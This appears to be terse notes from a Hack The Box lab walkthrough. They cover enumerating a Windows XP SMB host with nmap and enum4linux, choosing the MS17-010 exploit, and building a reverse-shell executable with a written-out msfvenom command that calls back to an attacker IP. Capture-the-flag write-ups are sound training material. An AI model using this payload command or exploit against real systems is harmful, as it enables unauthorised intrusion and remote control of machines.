URL : https://app.hackthebox.eu/machines/2

IP : 10.10.10.4

Info gathering

  • nmap scan portenum4linux check version- nmap check smb version- So… we know that- Domain name : HTB
  • OS : Windows XP
  • Open Services : SMB

Find Exploit

  • GoogleXP SMB Exploit
  • https://github.com/helviojunior/MS17-010
  • MS17-010Prepare reverse shell exe file- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7879 -f exe > shell_reverse_tcpRun exploit- Get reverse shell-

Flag

  • Root FlagUser Flag-